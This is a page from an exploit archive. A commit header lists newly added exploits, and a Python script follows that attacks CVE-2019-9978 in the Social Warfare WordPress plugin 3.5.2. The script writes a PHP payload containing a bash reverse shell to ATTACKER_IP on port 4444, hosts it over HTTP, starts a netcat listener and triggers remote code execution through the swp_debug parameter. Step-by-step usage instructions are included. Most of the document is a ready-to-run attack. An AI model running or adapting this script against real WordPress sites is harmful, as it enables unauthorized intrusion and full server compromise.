97a1ee1350
9 changes to exploits/shellcodes/ghdb OneTrust SDK 6.33.0 - Denial Of Service (DoS) McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS) Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE) Sitecore 10.4 - Remote Code Execution (RCE) Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) freeSSHd 1.0.9 - Denial of Service (DoS) Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
103 lines
No EOL
3.4 KiB
Python
Executable file
103 lines
No EOL
3.4 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
|
|
# Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
|
|
# Date: 25-06-2025
|
|
# Exploit Author: Huseyin Mardini (@housma)
|
|
# Original Researcher: Luka Sikic
|
|
# Original Exploit Author: hash3liZer
|
|
# Vendor Homepage: https://wordpress.org/plugins/social-warfare/
|
|
# Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
|
|
# Version: <= 3.5.2
|
|
# CVE: CVE-2019-9978
|
|
# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04)
|
|
# Python Version: Python 3.x
|
|
# Reference: https://www.exploit-db.com/exploits/46794
|
|
# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978
|
|
|
|
# The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794<https://www.exploit-db.com/exploits/46794>) appears to no longer work as intended in many modern environments
|
|
|
|
# Usage:
|
|
# 1. Edit the config section below and replace `ATTACKER_IP` with your machine's IP.
|
|
# 2. Run the script: `python3 exploit.py`
|
|
# 3. It will:
|
|
# - Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE)
|
|
# - Start an HTTP server on `HTTP_PORT` to host the payload
|
|
# - Start a Netcat listener on `LISTEN_PORT`
|
|
# - Trigger the vulnerability via the vulnerable `swp_debug` parameter
|
|
# 4. On success, you get a reverse shell as `www-data`.
|
|
#
|
|
# Note:
|
|
# - PAYLOAD_FILE defines only the name of the file to be created and served.
|
|
# - Make sure ports 8001 and 4444 are open and not in use.
|
|
|
|
import requests
|
|
import threading
|
|
import http.server
|
|
import socketserver
|
|
import os
|
|
import subprocess
|
|
import time
|
|
|
|
# --- Config ---
|
|
TARGET_URL = "http://example.com"
|
|
ATTACKER_IP = "xxx.xxx.xx.xx" # Change to your attack box IP
|
|
HTTP_PORT = 8000
|
|
LISTEN_PORT = 4444
|
|
PAYLOAD_FILE = "payload.txt"
|
|
|
|
|
|
def create_payload():
|
|
"""Write exact reverse shell payload using valid PHP syntax"""
|
|
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
|
|
with open(PAYLOAD_FILE, "w") as f:
|
|
f.write(payload)
|
|
print(f"[+] Payload written to {PAYLOAD_FILE}")
|
|
|
|
|
|
def start_http_server():
|
|
"""Serve payload over HTTP"""
|
|
handler = http.server.SimpleHTTPRequestHandler
|
|
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
|
|
print(f"[+] HTTP server running at port {HTTP_PORT}")
|
|
httpd.serve_forever()
|
|
|
|
|
|
def start_listener():
|
|
"""Start Netcat listener"""
|
|
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
|
|
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
|
|
|
|
|
|
def send_exploit():
|
|
"""Trigger the exploit with vulnerable parameter"""
|
|
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
|
|
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
|
|
print(f"[+] Sending exploit: {exploit}")
|
|
try:
|
|
requests.get(exploit, timeout=5)
|
|
except requests.exceptions.RequestException:
|
|
pass
|
|
|
|
|
|
def main():
|
|
create_payload()
|
|
|
|
# Start web server in background
|
|
http_thread = threading.Thread(target=start_http_server, daemon=True)
|
|
http_thread.start()
|
|
time.sleep(2) # Give server time to start
|
|
|
|
# Start listener in background
|
|
listener_thread = threading.Thread(target=start_listener)
|
|
listener_thread.start()
|
|
time.sleep(1)
|
|
|
|
# Send the malicious request
|
|
send_exploit()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
main()
|
|
except KeyboardInterrupt:
|
|
print("[-] Interrupted by user.") |